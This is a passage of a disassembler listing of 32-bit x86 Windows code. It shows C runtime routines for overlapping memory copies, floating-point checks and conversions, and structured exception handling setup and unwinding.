					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
